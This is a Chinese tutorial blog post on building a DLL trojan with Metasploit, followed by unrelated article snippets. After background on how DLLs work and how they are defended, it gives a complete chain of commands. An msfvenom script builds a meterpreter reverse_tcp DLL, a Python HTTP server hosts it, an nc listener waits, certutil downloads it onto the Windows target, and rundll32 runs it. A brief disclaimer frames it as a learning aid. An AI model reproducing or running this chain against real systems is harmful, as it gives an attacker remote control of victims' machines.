metasploit(2)生成dll木馬

聲明!本文章所有的工具分享僅僅只是供大家學習交流為主,切勿用于非法用途,如有任何觸犯法律的行為,均與本人及團隊無關!!!

一、dll文件基本概念

DLL 是一種包含可由多個程序同時使用的代碼和數據的庫。它允許程序在運行時動態地加載和使用其中的函數和資源,而不是將所有代碼都靜態地鏈接到可執行文件中。這樣可以節省磁盤空間和內存,并且方便軟件的更新和維護。

二、dll文件工作原理

1、靜態鏈接 vs 動態鏈接

    靜態鏈接:在編譯時,將庫文件中的代碼和數據直接合并到可執行文件中。這樣生成的可執行文件包含了所有必要的代碼,但是文件體積較大,而且如果庫文件更新,需要重新編譯整個程序。動態鏈接:在運行時,程序才會去加載所需的 DLL 文件,并將其中的函數和資源映射到自己的地址空間中。多個程序可以共享同一個 DLL 文件,減少了內存的占用。

2、 加載過程

    當程序啟動時,如果需要使用某個 DLL,操作系統會檢查該 DLL 是否已經加載到內存中。如果 DLL 未加載,操作系統會將其加載到內存中,并為其分配一個基地址。程序通過 DLL 的導出表找到所需的函數和變量,并調用它們。

三、DLL文件的優點

節省磁盤空間和內存:多個程序可以共享同一個 DLL 文件,避免了代碼的重復存儲和加載。
易于更新和維護:如果 DLL 文件中的代碼需要更新,只需要替換 DLL 文件即可,不需要重新編譯整個程序。
模塊化開發:將不同的功能封裝在不同的 DLL 文件中,便于團隊協作開發和代碼的復用。

四、dll文件的缺點

版本兼容性問題:如果 DLL 文件的版本發生變化,可能會導致與使用該 DLL 的程序不兼容。
依賴管理復雜:程序可能依賴多個 DLL 文件,這些 DLL 文件之間也可能存在依賴關系,管理起來比較復雜。
安全性風險:惡意軟件可以通過替換或注入 DLL 文件來執行惡意代碼。

五、DLL 文件在滲透測試中的應用

1、反彈 Shell

如之前腳本中所示,使用 msfvenom 工具生成包含反彈 Shell 功能的 DLL 文件,然后在目標主機上執行該 DLL 文件,與攻擊主機建立反向連接,從而獲得目標主機的控制權。

2、權限提升

通過注入 DLL 文件到具有高權限的進程中,利用該進程的權限執行惡意代碼,實現權限提升。

六、常見的 DLL 操作命令

rundll32:用于運行 DLL 文件中的指定函數。例如:rundll32 example.dll,FunctionName
regsvr32:用于注冊和注銷 DLL 文件。例如:regsvr32 example.dll 注冊 DLL,regsvr32 /u example.dll 注銷 DLL

七、安全防護措施

數字簽名驗證:確保 DLL 文件來自可信的發布者,通過驗證數字簽名來防止惡意 DLL 文件的加載。
白名單機制:只允許加載系統中預先定義的白名單中的 DLL 文件,禁止加載未知來源的 DLL 文件。
實時監控:使用殺毒軟件和入侵檢測系統實時監控 DLL 文件的加載和執行情況,及時發現和阻止惡意行為。

八、msf生成dll木馬

1、創建dll生成腳本

vim msf_dll.sh#!/bin/baship=192.168.60.128
port=4444
arch=x86
platform=windows
format=dll
payload=windows/meterpreter/reverse_tcp# use exploit/multi/handlerout=$HOME/Desktop/a.dllmsfvenom -p $payload LHOST=$ip LPORT=$port -f $format  -a $arch --platform $platform -o $out

2、執行腳本創建dll木馬

chmod +x msf_dll.sh
./msf_dll.sh

九、windows運行dll木馬

1、攻擊機創建http微服務

python -m http.server 8008

2、攻擊機建立監聽

nc -lvvp 4444 

3、windows下載dll木馬

certutil -urlcache -split -f "http://192.168.60.128:8008/a.dll" a.dll

4、windows靶機執行dll木馬

rundll32 D:\a.dll,DllMain

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/76758.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/76758.shtml
英文地址,請注明出處:http://en.pswp.cn/web/76758.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

5V 1A充電標準的由來與技術演進——從USB誕生到智能手機時代的電力革命

點擊下面圖片帶您領略全新的嵌入式學習路線 🔥爆款熱榜 88萬閱讀 1.6萬收藏 一、起源:USB標準與早期電力傳輸需求 1. USB的誕生背景 1996年,由英特爾、微軟、IBM等公司組成的USB-IF(USB Implementers Forum)發布了…

使用Python設置excel單元格的字體(font值)

一、前言 通過使用Python的openpyxl庫,來操作excel單元格,設置單元格的字體,也就是font值。 把學習的過程分享給大家。大佬勿噴! 二、程序展示 1、新建excel import openpyxl from openpyxl.styles import Font wb openpyxl.…

【設計模式】深入解析代理模式(委托模式):代理模式思想、靜態模式和動態模式定義與區別、靜態代理模式代碼實現

代理模式 代理模式,也叫委托模式。 Spring AOP 是基于動態代理來實現 AOP 的 定義 為其他對象提供一種代理 以控制對這個對象的訪問。它的作用就是通過提供一個代理類,讓我們在調用目標方法的時候,不再是直接對目標方法進行調用,而…

利用java語言,怎樣開發和利用各種開源庫和內部/自定義框架,實現“提取-轉換-加載”(ETL)流程的自動化

一、ETL 架構設計的核心要素? 在企業級數據處理場景中,ETL(Extract-Transform-Load)流程自動化是數據倉庫、數據湖建設的核心環節。基于 Java 生態的技術棧,我們可以構建分層解耦的 ETL 架構,主要包含以下四層結構&am…

2023藍帽杯初賽內存取證-8

也是用到pslist模塊,加上grep過濾”chrome“即可: vol.py --plugin/opt/volatility/plugins -f memdump.mem --profile Win7SP1x64 pslist | grep "chrome" 第一個是PID,第二個是PPID,第三個是線程數,第四個…

【C語言】動態內存的常見錯誤

前言&#xff1a; 在上章節中講解了動態內存的概念和管理的核心函數。 在本章節繼續為大家介紹動態內存的常見錯誤&#xff0c;讓大家更好的理解運用。 補充&#xff1a;使用內存函數需要頭文件<stdlib.h> 對NULL指針的解引用操作 當使用malloc、calloc或realloc等函…

uniapp-x 二維碼生成

支持X&#xff0c;二維碼生成&#xff0c;支持微信小程序&#xff0c;android&#xff0c;ios&#xff0c;網頁 - DCloud 插件市場 免費的單純用愛發電的

Linux內核之文件驅動隨筆

前言 近期需要實現linux系統文件防護功能&#xff0c;故此調研了些許知識&#xff0c;如何實現文件防護功能從而實現針對文件目錄防護功能。當被保護的目錄&#xff0c;禁止增刪改操作。通過內核層面實現相關功能&#xff0c;另外在通過跟應用層面交互從而實現具體的業務功能。…

利用大模型實現地理領域文檔中英文自動化翻譯

一、 背景描述 在跨國性企業日常經營過程中&#xff0c;經常會遇到專業性較強的文檔翻譯的需求&#xff0c;例如法律文書、商務合同、技術文檔等&#xff1b;以往遇到此類場景&#xff0c;企業內部往往需要指派專人投入數小時甚至數天來整理和翻譯&#xff0c;效率低下&#x…

鴻蒙Flutter倉庫停止更新?

停止更新 熟悉 Flutter 鴻蒙開發的小伙伴應該知道&#xff0c;Flutter 3.7.12 鴻蒙化 SDK 已經在開源鴻蒙社區發布快一年了&#xff0c; Flutter 3.22.x 的鴻蒙化適配一直由鴻蒙突擊隊倉庫提供&#xff0c;最近有小伙伴反饋已經 2 個多月沒有停止更新了&#xff0c;不少人以為停…

(七)深入了解AVFoundation-采集:采集系統架構與 AVCaptureSession 全面梳理

引言 在 iOS 開發中&#xff0c;AVFoundation 是構建音視頻功能的強大底層框架。而在音視頻功能中&#xff0c;“采集”往往是最基礎也是最關鍵的一環。從攝像頭捕捉圖形、到麥克風獲取聲音&#xff0c;構建一條高效且穩定的采集鏈是開發高質量音視頻應用的前提。 本系列將逐…

QML ShaderEffect(著色器效果)組件

ShaderEffect 是 QML 中用于實現自定義著色器效果的組件&#xff0c;允許開發者使用 GLSL 著色器語言創建圖形效果。 核心屬性 基本屬性 屬性類型默認值說明fragmentShaderstring""片段著色器代碼vertexShaderstring""頂點著色器代碼blendingbooltrue是…

基于javaweb的SSM教材征訂與發放管理系統設計與實現(源碼+文檔+部署講解)

技術范圍&#xff1a;SpringBoot、Vue、SSM、HLMT、Jsp、PHP、Nodejs、Python、爬蟲、數據可視化、小程序、安卓app、大數據、物聯網、機器學習等設計與開發。 主要內容&#xff1a;免費功能設計、開題報告、任務書、中期檢查PPT、系統功能實現、代碼編寫、論文編寫和輔導、論文…

大模型學習筆記------Llama 3模型架構之分組查詢注意力(GQA)

大模型學習筆記------Llama 3模型架構之分組查詢注意力&#xff08;GQA&#xff09; 1、分組查詢注意力&#xff08;GQA&#xff09;的動機2、 多頭注意力&#xff08;Multi-Head Attention, MHA&#xff09;3、 多查詢注意力 (Multi-Query Attention&#xff0c;MQA)4、 分組查…

matlab 環形單層柱狀圖

matlab 環形單層柱狀圖 matlab 環形單層柱狀圖 matlab 環形單層柱狀圖 圖片 圖片 【圖片來源粉絲】 我給他的思路是&#xff1a;直接使用風玫瑰圖可以畫出。 rose_bar 本次我的更新和這個有些不同&#xff01;是環形柱狀圖&#xff0c;可調節細節多&#xff1b; 只需要函數…

Docker--Docker網絡原理

虛擬網卡 虛擬網卡&#xff08;Virtual Network Interface&#xff0c;簡稱vNIC&#xff09; 是一種在軟件層面模擬的網卡設備&#xff0c;不依賴于物理硬件&#xff0c;而是通過操作系統或虛擬化技術實現網絡通信功能。它允許計算機在虛擬環境中模擬物理網卡的行為&#xff0…

linux基礎14--dns和web+dns

DNS&#xff1a;域名系統&#xff08;Domain Name System&#xff09; DNS協議是用來將域名轉換為IP地址或將IP地址轉換為相應的域名 DNS使用TCP和UDP端口53&#xff0c;給用戶提供解析時一般使用UDP53 對于每一級域名長度的限制是63個字符&#xff0c;域名總長度則不能超過2…

C++抽象基類定義與使用

在 C 中&#xff0c;抽象基類&#xff08;Abstract Base Class, ABC&#xff09; 是一種特殊的類&#xff0c;用于定義接口規范和約束派生類的行為。它通過純虛函數&#xff08;Pure Virtual Function&#xff09;強制要求派生類實現特定功能&#xff0c;自身不能被實例化。以下…

用selenium4 webdriver + java 搭建并完成第一個自動化測試腳本

自動化測試任務&#xff1a; 百度搜索自己的姓名。點擊第一個鏈接&#xff08;或者第二個&#xff09;&#xff0c;在新的頁面上&#xff0c;添加斷言&#xff0c;驗證你的名字是否存在。 實驗資料百度網盤下載路徑&#xff1a; 鏈接: https://pan.baidu.com/s/1nVlHX_ivres…

LLM大模型中的基礎數學工具—— 約束優化

Q26: 推導拉格朗日乘子法 的 KKT 條件 拉格朗日乘子法與 KKT 條件是啥&#xff1f; 拉格朗日乘子法是解決約束優化問題的利器。比如&#xff0c;想最小化函數 &#xff0c;同時滿足約束 &#xff0c;就構造拉格朗日函數 &#xff08; 是乘子&#xff09;。KKT 條件是解這類問…